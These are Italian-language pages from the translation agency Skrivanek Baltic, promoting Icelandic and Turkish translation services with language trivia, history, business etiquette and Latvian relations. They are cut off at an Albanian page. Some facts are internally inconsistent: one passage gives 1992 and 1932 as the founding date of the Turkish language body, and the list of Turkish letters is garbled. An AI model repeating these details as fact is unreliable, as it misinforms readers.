*Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole FATTI INTERESSANTI SULLA LINGUA ISLANDESE E SULL'ISLANDA L’islandese è una lingua germanica, nonché l’unica lingua nazionale de facto dell’Islanda. Essa affonda le sue radici nel norreno antico, ossia la lingua parlata dai vichinghi che si stanziarono in Islanda. La lingua non è cambiata molto negli ultimi mille anni, quindi gli islandesi affermano con orgoglio di avere davvero poca difficoltà nel leggere il norreno dei testi e delle antiche saghe del periodo tra il X e XIII secolo. L’islandese è una lingua indoeuropea che appartiene alla sottofamiglia delle lingue germaniche; più precisamente è una lingua germanica settentrionale. Ciò è alquanto interessante se si considera che le altre lingue indoeuropee, come ad esempio il greco e l’albanese, si trovano a diverse nazioni e migliaia di kilometri di distanza dall’Islanda. L’islandese è la lingua attualmente in uso più vicina al faroense e, insieme al norvegese, forma il gruppo delle lingue scandinave occidentali, le quali discendono dai dialetti occidentali dell’antico norreno. È interessante notare che, nonostante i danesi abbiano governato l’Islanda tra il 1380 e il 1918, la loro presenza ha avuto un impatto abbastanza modesto sullo sviluppo della lingua islandese che era comunque usata quotidianamente da tutta la popolazione. Di fatti, il danese non era utilizzato per le comunicazioni ufficiali. Accadde lo stesso anche con l’occupazione statunitense durante la Seconda guerra mondiale, la quale terminò negli anni 50. Tornando indietro alle tradizioni vichinghe, la cultura islandese si è sviluppata sotto l’influenza della religione pagana prima, e sotto quella della religione cristiana poi, senza tuttavia venire modificata e mantenendo le proprie origini. Questo non è tanto il risultato dell’isolamento degli islandesi dagli altri popoli europei, ma è frutto delle loro principali caratteristiche nazionali, ossia etnocentrismo e tradizionalismo. Tuttavia, fattori geografici come il rigido clima subartico, i lunghi giorni e notti polari, l’assenza di flora e fauna, l’isolamento dall’Europa continentale, come anche fenomeni naturali come terremoti frequenti, eruzioni vulcaniche, alluvioni e tempeste di neve hanno contribuito a proteggere l’Islanda dall’influenza delle nazioni continentali. Gli islandesi hanno l’abitudine di non indossare impermeabili e di non andare in giro con ombrelli; l’abbigliamento da pioggia non è alla moda, mentre gli islandesi fanno molta attenzione a come si vestono. Il primo insediamento permanente in Islanda è stato fondato nell’870 d. C. dai vichinghi norvegesi e dai celti provenienti dalle isole britanniche. Tra il XII e il XIII secolo gli islandesi scrissero diverse opere letterarie importanti e molte di esse furono scritte da autori sconosciuti in una lingua simile al norreno antico. Gli autori più famosi di questo periodo sono Ari Thorgilsson (1068-1148) e Snorri Sturluson (1179-1241). L’Islanda ha ottenuto l’indipendenza nel 1944, anno in cui anche l’islandese fu ristabilito come lingua ufficiale e letteraria. In Islanda, il settore dell’editoria ha visto una forte crescita e gli islandesi sono considerati tra i lettori più avidi e tra gli scrittori più attivi del mondo. L'ALFABETO ISLANDESE L'alfabeto islandese è composto da 32 lettere, a cui vanno aggiunte anche tre lettere utilizzate solo per parole di origine straniera e una lettera che è stata rimossa e che oggi è a volte utilizzata sempre per parole straniere. L’Islandese utilizza l’alfabeto latino, ossia lo stesso alfabeto dell’inglese, che è quello utilizzato dalla maggior parte delle lingue europee occidentali. Tuttavia, in esso ci sono anche lettere assenti nell’inglese e altre che sono proprie della lingua islandese. Le lettere C, Q e W non fanno parte dell'alfabeto islandese, ma sono comunque utilizzate in parole straniere. Dal 1973, l’ultima lettera dell’alfabeto, cioè la Z, non occorrendo più nelle parole islandesi, ha smesso di essere utilizzata in islandese in generale. Ciononostante, tecnicamente è ancora utilizzata, anche se in casi molto rari, ad esempio nei nomi storici di strutture, di organizzazioni e in altri termini di questo tipo, come Verzló (una scuola di Reykjavik). E le parole che una volta venivano scritte con la Z? Ora sono scritte con la S. Fino al 1980, l’alfabeto islandese consisteva di 36 lettere, ossia A, Á, B, C, D, Ð, E, É, F, G, H, I, Í, J, K, L, M, N, O, Ó, P, Q, R, S, T, U, Ú, V, W, X, Y, Ý, Z, Þ, Æ, Ö. QUANTO È DIFFICILE LA LINGUA ISLANDESE? Specialmente se non si è spesso a contatto con essa, l’islandese è una lingua indubbiamente difficile da imparare e si teme addirittura che possa diventare una lingua in via d’estinzione. C’è stato questo pericolo nel XVIII secolo quando la nazione fu colpita da una violenta epidemia di vaiolo e da un’aspra carestia. Tuttavia, gli islandesi riuscirono a mantenere viva la loro lingua. cultura e letteratura. Di fatti, a causa del suo vocabolario arcaico e della sua complessa grammatica, per gli anglofoni, l’islandese è tra le lingue più difficili da imparare. Rappresentano una particolare sfida la sua pronuncia e le caratteristiche grammaticali. In termini di difficoltà, l’islandese è una lingua di categoria IV, quindi più difficile del francese, ma decisamente più semplice del cinese. Sono quindi necessarie 1100 ore o 44 settimane di studio per diventare fluente in questa lingua. Può sembrare un periodo lungo da dedicare ad una lingua, ma con le risorse e il metodo adeguato il processo di apprendimento sarà divertente e stimolante. DOVE E QUANTI PARLANO L'ISLANDESE? La maggior parte dei madrelingua islandesi, ossia circa 320. 000 individui, vive in Islanda, mentre in più di 8. 000 vivono in Danimarca, di cui 3. 000 sono studenti. Sono invece 5. 000 circa quelli che vivono negli Stati uniti e più di 1. 400 quelli stanziati in Canada, specialmente nella provincia di Manitoba. Il 97% degli islandesi considera l’islandese la propria lingua madre ma fuori dall’Islanda, specialmente in Canada, il numero di parlanti sta lentamente diminuendo. I NOSTRI TRADUTTORI E INTERPRETI DI ISLANDESE Il team di traduttori e interpreti di islandese di Skrivanek Baltic fornisce sia traduzioni di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. L'agenzia di traduzione Skrivanek si occupa anche della revisione e del miglioramento stilistico dei testi in islandese, della creazione di contenuti SEO e dell'adattamento dei testi al mercato e alla mentalità islandese. I nostri linguisti esperti vi informeranno con piacere sulle differenze culturali, su come lavorare con partner commerciali islandesi e sulla storia e tradizioni del paese. Più spesso, le aziende nostre clienti ci richiedono traduzioni da e verso l’islandese di siti web e contenuti per l’e-commerce, adattamento di slogan pubblicitari, accordi di collaborazione, legislazioni, sentenze giudiziarie e documentazione commerciale. Forniamo anche servizi di interpretazione consecutiva per incontri di lavoro e di altro tipo, in occasione di conferenze o di altri eventi, ma anche su ZOOM e su altre piattaforme online. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, passaporti, documentazione medica, ecc. L’ISLANDESE NEL COMMERCIO Al di fuori dell’Islanda, l’islandese non è utilizzato come lingua commerciale. Inoltre, dato che, oltre all’islandese, nelle scuole sono molto studiati anche inglese e danese, esse sono utilizzate in questo paese come lingue commerciali. Nelle aziende con dipendenti non islandesi si parla inglese, quindi non c’è bisogno di imparare l’islandese prima di andare ad un incontro di lavoro. Anche se l’Islanda ha una propria lingua nazionale, l’inglese e il danese sono molto diffusi, dato che nel sistema scolastico islandese sono entrambe studiate obbligatoriamente. La versione danese dell'islandese è spesso chiamata Skandinavíska ed è facilmente compresa anche dai norvegesi e dagli svedesi. Anche se a primo impatto possono apparire riservati, cosa tipica dei cittadini dell’Europa settentrionale, gli islandesi sono molto amichevoli ed è probabile che se si è in visita per lavoro si venga poi invitati ad una festa privata e/o ad esplorare la nazione con i locali in modo particolare. Inoltre, accade spesso che gli islandesi chiedano agli stranieri cosa pensano dell’Islanda, perciò è consigliabile mostrarsi interessati nella nazione, nel suo popolo e nelle sue tradizioni. ISLANDA E LETTONIA Le relazioni bilaterali tra Lettonia e Islanda sono sempre state molto positive. La cooperazione fra le due nazioni si basa sul senso di appartenenza alla propria nazione, nonché sulla comprensione di valori e interessi condivisi nel contesto dell’integrazione economica europea e nel settore della sicurezza. L'Islanda è stata il primo paese a riconoscere la riguadagnata indipendenza della Lettonia e degli altri Stati baltici del 22 agosto 1991. Essa è stata quindi la prima nazione ad avere avuto il coraggio di farsi sentire dall’Impero sovietico e dal resto del mondo dichiarando la Lettonia libera dopo 50 anni di occupazione sovietica e chiedendo di inserirla nelle mappe come nazione indipendente. L’Islanda si è comportata in modo simile anche con l’Estonia e la Lituania. Perciò, essa avrà sempre un posto molto speciale nel cuore dei cittadini degli Stati baltici. In Islanda si può trovare anche una casa che ha avuto un ruolo importante nel destino della Lettonia. È in questa casa che infatti si incontrarono il presidente degli Stati uniti Ronald Reagan e quello dell’Unione sovietica Mikhail Gorbachev durante la guerra fredda. Essi discussero l’uso di armi nucleari, ma non riuscirono a trovare una accordo su nulla. Di fatti, l’idea di Reagan di parlare di diritti umani non fu accettata da Gorbachev. Poco dopo crollò l’Impero sovietico. In quella stessa casa, pochi anni dopo fu firmato l’Atto di riconoscimento della ripristinata indipendenza degli stati baltici, il quale fu accettato dall’Islanda. Anche i ministri degli affari esteri di Islanda, Lettonia, Lituania ed Estonia hanno firmato protocolli che stabiliscono relazioni diplomatiche. All'epoca, la presidente dell'Islanda era Vigdís Finnbogadóttir, cosa abbastanza insolita dato che è stata la prima donna nel mondo ad essere eletta presidente democraticamente. Anni dopo il riconoscimento della Lettonia, quando si recò per la prima volta in visita nella nazione baltica, lei fu molto felice di essere stata presente all’evento storico. Il 22 agosto 2011 fu inaugurata a Riga la Piazza d’Islanda, nella zona di Kipsala, per celebrare l’importante ruolo storico che l’Islanda ebbe nel ripristino dell’indipendenza della Lettonia La Lettonia e l'Islanda hanno relazioni economiche stabili. Nonostante il volume di scambi commerciali tra le due nazioni non sia particolarmente elevato, negli ultimi anni sta vedendo una graduale crescita. Gli investimenti islandesi in aziende lettoni sono significativi. SOLUZIONI CHE FORNIAMO PIÙ SPESSO DA/VERSO L'ISLANDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a islandese; Da islandese a lettone; Da estone a islandese; Da islandese a estone; Da lituano a islandese; Da islandese a lituano; Da russo a islandese; Da islandese a russo; Da ceco a islandese; Da islandese a ceco; Da polacco a islandese; Da islandese a polacco; Da ucraino a islandese; Da islandese a ucraino; Da islandese a spagnolo; da spagnolo a Islandese; da tedesco a Islandese; da islandese a tedesco; da italiano a islandese; da islandese a Italiano; da francese a islandese; da islandese a francese; da danese a islandese; da islandese a danese; da norvegese a islandese; da islandese a norvegese; da svedese a islandese; da islandese a svedese; da finlandese a islandese; da islandese a finlandese, ma anche altre combinazioni. SOLUZIONI CHE FORNIAMO PIÙ SPESSO DA/VERSO L'ISLANDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a islandese; Da islandese a lettone; Da estone a islandese; Da islandese a estone; Da lituano a islandese; Da islandese a lituano; Da russo a islandese; Da islandese a russo; Da ceco a islandese; Da islandese a ceco; Da polacco a islandese; Da islandese a polacco; Da ucraino a islandese; Da islandese a ucraino; Da islandese a spagnolo; da spagnolo a Islandese; da tedesco a Islandese; da islandese a tedesco; da italiano a islandese; da islandese a Italiano; da francese a islandese; da islandese a francese; da danese a islandese; da islandese a danese; da norvegese a islandese; da islandese a norvegese; da svedese a islandese; da islandese a svedese; da finlandese a islandese; da islandese a finlandese, ma anche altre combinazioni. --- > Traduzioni generali e specializzate, interpretazione, localizzazione e altre soluzioni in lingua turca. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL TURCO QUANTO COSTANO LE TRADUZIONI DA E VERSO IL TURCO Il prezzo viene stabilito singolarmente per ogni ordine e dipende da diversi fattori, come i termini di consegna del lavoro, la specificità del contenuto del testo, la disponibilità della terminologia, la complessità della bozza, dalla presenza di immagini e grafici, dalla revisione, dalla formattazione e da qualsiasi altro servizio richiesto dal cliente (certificazione notarile, apostille, ecc. ) È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi relativo ai servizi di traduzione e interpretariato (simultaneo e consecutiva) da/verso il turco è incluso nell’accordo di collaborazione che stipuliamo con i nostri clienti. Prima di realizzare il progetto, forniamo sempre una descrizione del prezzo del servizio. Il costo è diverso per ogni progetto ed è calcolato sulla base del listino prezzi corrente di Skrivanek, il quale tiene conto, tra gli altri, del numero delle parole nel testo di partenza e delle ripetizioni. Volete sapere quanto costa tradurre i vostri documenti? Mandateci una e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il turco? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua turca: Traduzione di documenti in turco Interpretazione simultanea in turco Validazione linguistica di traduzioni in turco Interpretazione consecutiva in turco Trascrizione in turco Grafica e composizione tipografica in turco Servizi di voice over e di sottotitolaggio in turco Servizi di selezione di staff turco Marketing multiculturale in turco Gestione di documenti in turco Servizi di deposizione in turco Servizi di data room virtuali in turco Supporto per l'e-learning in turco Cercate un servizio linguistico in turco? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA TURCA Senza dubbio, la popolarità della Turchia come meta turistica è dovuta anche alla ricchezza della lingua e cultura turca. Tutti i viaggiatori infatti sognano di immergersi nella cucina, nei riti del tè, nelle lingue etniche e nell”architettura storica della Turchia. L’Organizzazione linguistica turca, fondata nel 1992, è l’ente responsabile per la regolamentazione della lingua turca in Turchia ed è stata fondata nel 1932. Essa si occupa del vocabolario e della grammatica della lingua, nonché di regolarne l’uso negli spazi pubblici. Negli ultimi 100 anni, la lingua turca è cambiata molto. Uno degli obiettivi principali dell'Associazione per la Lingua Turca è quello di purificare la lingua. Di fatti, nel 1932 solo il 35%-40% delle parole della lingua avevano origine turca, mentre le restanti erano originarie di altre lingue, soprattutto arabo e persiano. Oggi invece, quasi l’80% delle parole della lingua turca sono di origine turca. L’alfabeto turco è stato riformato completamente nel 1932. Chi conosce la Turchia avrà probabilmente sentito parlare di Mustafa Kemal Atatürk, il fondatore della Repubblica di Turchia. Egli, dopo il crollo dell’Impero ottomano, riformò completamente l’alfabeto turco, passando dall’alfabeto arabo a quello turco, avvicinandosi quindi all’occidente. Nel XIX secolo, l’inglese iniziò ad integrare prestiti di origine turca mediante resoconti di viaggiatori, di emissari e di mercanti, nonché attraverso scritti storici e la stampa. Ad esempio, parole come «kiosk» (da köşk), «kayak» (da kayık), «yoghurt», ecc. sono frutto dell”influenza turca nell’inglese. La lingua turca degli uccelli (in turco kuş dili) è una versione del turco orale che fa uso di fischi e melodie. Essa veniva utilizzata da contadini turchi per comunicare su lunghe distanze e oggi conta 10. 000 parlanti. La lingua è associata a Kuşköy, un villaggio dei Monti Pontici situato nel nord della Turchia. Le sue origini non sono ancora chiare, ma si presume che abbia avuto origine circa 400 anni fa. Nel 2017 è stata inserita nella lista del patrimonio culturale immateriale dell’UNESCO. Dato che Kuşköy è un villaggio di contadini situato in una valle profonda, fischiando si può comunicare ad una distanza decisamente maggiore rispetto al semplice urlo. Tuttavia, con l’arrivo dei cellulari, i quali resero la comunicazione più semplice ed efficace, gli abitanti del villaggio iniziarono ad usare quest’ultimi per comunicare. Ma gli abitanti del villaggio cercano di conservare la lingua organizzando festival ed usandola ancora oggi. Inoltre, dal 2014 le istituzioni della zona iniziarono ad insegnare la lingua nelle scuole elementari. La narrativa turca è raramente tradotta in altre lingue. Aşk è una delle parole più potenti della lingua turca e significa "amore". In Turchia le persone sono molto emotive ed è da essa che nascono tutti i melodrammi. Effettivamente, è una parola spesso utilizzata nella poesia e canzoni turche, nonché in famose soap opera della nazione. In turco non è educato chiamare qualcuno solo con il nome, soprattutto quando si tratta di anziani. Perciò, per essere rispettosi, bisogna sempre accompagnare il nome con un epiteto, come ad esempio teyze (zia) o amca (zio). Mentre se non si sa il nome della persona a cui ci si sta rivolgendo, si deve usare hanimefendi (signora) o beyefendi (signore). Solitamente, in turco l’accento si trova sull’ultima sillaba. Tuttavia, questo non è sempre valido per i nomi di luogo di origine straniera e adattati alla lingua turca, come ad esempio Izmir, Bursa e altri nomi di luogo aventi la prima sillaba accentata. La lingua turca non ha la categoria del genere. L'ALFABETO TURCO L'alfabeto turco (in turco, Türk alfabesi) è utilizzato per scrivere in turco e utilizza l”alfabeto latino. È composto da 29 lettere, sette delle quali (Ç, G, I, Š, Ö, S e Ü) sono state trasformate dal latino per rispondere alle esigenze fonetiche del turco. Esso riflette l’odierna pronuncia turca e l’alto livello di prestigio. È stato confermato nel 1928 all’interno delle riforme di Atatürk ed è l’alfabeto della lingua turca più recente. Esso ha fatto da apripista per altre lingue che utilizzavano l’alfabeto arabo o cirillico, come ad esempio l’Azero (1991), il turkmeno (1993) e più recentemente il kazako (2021). Il primo alfabeto turco conosciuto è l’alfabeto turco antico, le cui prime testimonianze risalgono al VII secolo. Negli anni, la lingua turca è stata scritta utilizzando molti alfabeti diversi, compresi quello runico, uiguro, cirillico, arabo, greco, latino e altri sistemi di scrittura asiatici. Alcuni riformisti turchi promossero l’uso dell’alfabeto latino molto prima delle riforme di Atatürk. Un esempio è lo statista Munuf Pasha che durante il precedente periodo di riforme del 1862 si batté per riformare l’alfabeto. All'inizio del XX secolo, alcuni scrittori associati con il Movimento dei giovani turchi, come Hüseyin Cahit Yalçın, Abdullah Cevdet e Celâl Nuri İleri, avanzarono proposte simili. La questione fu sollevata anche nel 1923 in occasione del Primo congresso economico dell’appena formata Repubblica di Turchia e causò dibattiti pubblici che continuarono per molti anni. Al giorno d’oggi, l’alfabeto turco è composto da 21 consonanti e 8 vocali brevi. È inoltre utilizzato il segno diacritico (ˆ) con le lettere “â”, “û”, “î”. Da un punto di vista grammaticale, esso ha funzione di addolcire e allungare le vocali, ma ha anche valore distintivo, dato che la sua assenza o presenza può modificare il significato di una parola (âlem – mondo, alem – bandiera, luna crescente nei minareti, etc. ). Tuttavia, esso si trova solo nelle parole di origine araba e persiana, dato che il turco non ha né vocali lunghe né dolci. Le lettere usate oggi in turco provengono dagli alfabeti europei: Svedese, tedesco, albanese, rumeno e altri - A, B, C, Ç, D, E, F, G, Ğ, H, I, İ, J, K, L, M, N, O, Ö, P, R, S, Ş, T, U, Ü, V, Y, Z. LA LINGUA TURCA È DIFFICILE? Il Foreign Service Institute degli Stati uniti ha classificato tutte le lingue del mondo in base alla loro difficoltà e la lingua turca fa parte della quarta categoria. Ciò significa che per impararlo sono necessarie 44 settimane o 1100 ore di studio. Ma imparare il turco non è così difficile, anche se, naturalmente, il suo apprendimento richiede tempo e fatica. Come molte altre lingue del mondo, il turco usa l’alfabeto latino. Esso non ha inoltre la categoria del genere, perciò non usa gli articoli. Un aspetto che semplifica l’apprendimento della lingua è il fatto che l’accento nelle parole non è segnato. Tuttavia, una cosa che potrebbe essere difficile da imparare sono le lettere che non sono presenti in altre lingue. L'unica cosa che resta da fare è quindi imparare la loro pronuncia. DOVE E IN QUANTI PARLANO TURCO? Sono più di 63 milioni coloro che conoscono il turco nel mondo, rendendo quindi questa lingua la più grande della famiglia delle lingue turciche. I parlanti di questa lingua si trovano principalmente in Turchia e a Cipro, ma anche in piccole comunità in Grecia, Bulgaria, Macedonia del nord, Kosovo, Albania e Uzbekistan. Ma alcuni vivono anche nelle nazioni dell’Europa occidentale, specialmente in Germania dove i parlanti di turco sono più di due milioni. Il turco è la lingua ufficiale della Turchia, nonché una delle lingue ufficiali di Cipro. Essa è lingua ufficiale anche in alcune zone della Macedonia del nord, a seconda del numero di parlanti di turco, e nel distretto di Prizren in Kosovo. Il turco non è quindi utilizzato solo in Turchia, ma anche da minoranze in altre 35 nazioni, soprattutto in quei paesi o aree che erano parte dell’Impero ottomano come, ad esempio, Bulgaria, Romania, Serbia, Macedonia del Nord, Siria, Grecia e Israele. Ma ci sono nutrite comunità anche in Austria, Belgio, Olanda, Svizzera e Regno unito. Tuttavia, essendosi integrati nel paese dove sono emigrati, la maggior parte degli individui di origine turca che vive all’estero non conosce il turco come chi è rimasto nella madrepatria. Di fatti, praticamente tutti coloro che vivono in Turchia conoscono il turco, mentre i restanti sono principalmente curdi. Gli stranieri che vivono in Turchia e che hanno il turco come seconda lingua lo conoscono comunque come la loro lingua madre I NOSTRI INTERPRETI E TRADUTTORI DI TURCO L’agenzia di traduzione Skrivanek vanta più di 25 anni di esperienza nel settore dei servizi linguistici nei paesi baltici e nei paesi del nord Europa. Il nostro team di interpreti, traduttori e linguisti si occupa sia di traduzioni standard che autenticate. Ma i servizi di Skrivanek non si fermano alle traduzioni scritte. Di fatti, forniamo anche servizi di interpretazione, di miglioramento stilistico, di revisione e di controllo terminologico. I tipi di traduzione scritta che forniamo più spesso alle persone giuridiche sono traduzioni di testi tecnici, di sentenze, di materiale per l”e-commerce e di homapage. Per i privati invece, eseguiamo traduzioni di atti dello stato civile, di documenti di identità, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, ecc. Ma, su richiesta del cliente, forniamo qualsiasi tipo di traduzione. I nostri revisori e correttori di bozze di madrelingua turca si occuperanno dell’accuratezza della traduzione, nonché del tono e dello stile del testo tradotto. IL TURCO NEL COMMERCIO Il turco è la dodicesima lingua più parlata al mondo. La Turchia ha sviluppato velocemente un’economia che le permette di avere un ruolo importante nel commercio internazionale, per questo imparare il turco è utile, specialmente per i privati e le aziende interessati ad intraprendere in attività imprenditoriale in Turchia. In questa nazione ci sono molte opportunità di fare carriera in molti ambiti diversi, spaziando dalla politica fino al settore delle tecnologie, quello finanziario e quello del turismo. Se sorprendete il vostro partner commerciale turco con la conoscenza della loro lingua madre, potete star sicuri di avere il vostro accordo di cooperazione già firmato. Ma come si svolge un incontro commerciale con un imprenditore turco? Incontri formali in uffici si alternano con incontri meno formali in bar e salotti d’hotel. Ma in entrambi i casi gli incontri sono approssimativi e senza un piano concreto. Nelle discussioni commerciali, i turchi scherzano poco e, se lo fanno, non si fanno notare. Hanno la tendenza di parlare in modo diretto e hanno difficoltà a dire «no». Perciò è molto più importante essere gentili e cercare di raggiungere un accordo o scendere a compromessi, rispetto a cercare di spiegare e giustificare le divergenze d’opinione. Per questa ragione, durante gli incontri c’è spesso un’atmosfera positiva, anche se non è sempre chiaro il risultato raggiunto. Inoltre, nella cultura turca domina la comunicazione orale, perciò quel che dicono e sentono è molto più importante rispetto a quello che viene scritto. La maggior parte degli accordi avviene in forma orale ed è difficile ottenere qualcosa di scritto. Per chi conosce le lingue europee, imparare il turco non è cosa da poco, soprattutto perché la formazione di aggettivi e l’ordine della frase possono sembrare un po’ bizzarri da un punto di vista europeo. Mentre i turchi che hanno studiato conoscono l’inglese, i cittadini più anziani sanno invece il francese. Inoltre, soprattutto nelle grandi città, è possibile comunicare in turco. Sfortunatamente, fuori dalla Turchia, il turco non ha un ruolo importante nel commercio. I TURCHI IN LETTONIA E RELAZIONI BILATERALI Le minoranze etniche e la loro cultura sono una parte importante della società lettone. I turchi lettoni sono una delle minoranze più numericamente ridotte della Lettonia. Di fatti, secondo le statistiche ufficiali erano 253 i turchi che vivevano in Lettonia nel 2021. Nel XIX secolo, lo Zarato russo e l’Impero ottomano erano spesso in guerra fra loro e l’ultima guerra tra essi iniziò nel 1877. Il conflitto durò per due anni ed è particolarmente importante perché in quel periodo nell’Impero russo fu introdotta la legge marziale generale. Più di un lettone si è probabilmente ritrovato nella zona di guerra di russi e turchi. In seguito, centinaia di turchi giunsero sulle rive della Gauja come prigionieri di guerra. I primi turchi giunsero in Lettonia, più precisamente nelle regioni di Cēsis e Līvāni, nel 1877 come prigionieri di guerra. Alcuni di essi morirono a causa delle dure condizioni climatiche e di malattie, mentre altri alla fine furono liberati e rimasero a vivere nella città di Cēsis, dove si trovano dei cimiteri turchi che sono considerati una delle 100 straordinarie eredità culturali della Lettonia. I cimiteri turchi presenti a Cēsis sono riconosciuti come uno dei 100 straordinari patrimoni culturali della Lettonia. Le relazioni diplomatiche tra Lettonia e Turchia sono state stabilite nel gennaio del 1925. La Turchia non ha mai riconosciuto l’annessione e incorporazione della Lettonia nell’Unione sovietica. Dal 1994, le due nazioni hanno stipulato diversi accordi nel campo del turismo, dell’addestramento militare, della difesa, dell’istruzione, della scienza, della cultura e dello sport. In seguito, nel 2005 i governi dei due paesi hanno stipulato un contratto di collaborazione nei settori dell’istruzione, della scienza, della cultura e dello sport, il quale prevedeva l’attribuzione di borse di studio per studiare la lingua e letteratura lettone. Studenti e personale docente dalla Turchia possono quindi fare domanda per una borsa di studio al Ministero dell’istruzione e della scienza per studiare o fare ricerca negli istituti di istruzione superiore della Lettonia o per partecipare in scuole estive da loro organizzate. Inoltre, i due paesi collaborano in alcuni settori culturali, come ad esempio quello della letteratura, del cinema, della danza, dell’educazione culturale e dell’arte. L’Accademia lettone di cultura propone il sottoprogramma «Relazioni tra culture Lettonia-Turchia», il quale è da molti anni ormai supportato dall’ambasciata turca e dall’Istituto Yunus Emre. L’Accademia coopera con la Turchia anche nel contesto del programma Erasmus+. Di fatti, esistono accordi con 14 istituti di istruzione superiore. Le relazioni bilaterali dei due paesi sono caratterizzate da una dinamica positiva. Di fatti, Lettonia e Turchia hanno mostrato la volontà di continuare il dialogo a livello politico, di aumentare il numero di visite reciproche e di promuovere una collaborazione economica più attiva. È l’ambasciata turca in Lettonia che si occupa dei cittadini turchi in nel paese baltico. È inoltre possibile imparare il turco in Lettonia, dato che sono offerti corsi presso alcune scuole di lingua e presso l’Università della Lettonia. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL TURCO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a turco; da turco a lettone; da estone a turco; da turco a estone; da lituano a turco; da turco a lituano; da russo a turco; da turco a russo; da ceco a turco; da turco a ceco; da polacco a turco; da turco a polacco; da ucraino a turco; da turco a ucraino; da turco a spagnolo; da spagnolo a turco; da tedesco a turco; da turco a tedesco; da italiano a turco; da turco a italiano; da francese a turco; da turco a francese; da danese a turco; da turco a danese; da norvegese a turco; da turco a norvegese; da svedese a turco; da turco a svedese; da finlandese a turco; da turco a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL TURCO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a turco; da turco a lettone; da estone a turco; da turco a estone; da lituano a turco; da turco a lituano; da russo a turco; da turco a russo; da ceco a turco; da turco a ceco; da polacco a turco; da turco a polacco; da ucraino a turco; da turco a ucraino; da turco a spagnolo; da spagnolo a turco; da tedesco a turco; da turco a tedesco; da italiano a turco; da turco a italiano; da francese a turco; da turco a francese; da danese a turco; da turco a danese; da norvegese a turco; da turco a norvegese; da svedese a turco; da turco a svedese; da finlandese a turco; da turco a finlandese, ma anche altre combinazioni. --- > Traduzione di documenti in lingua albanese. Servizi di interpretazione e molti altri servizi in lingua albanese! Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/ - Translation Priorities: Optional TRADUZIONI IN ALBANESE QUANTO COSTANO LE TRADUZIONI DA E 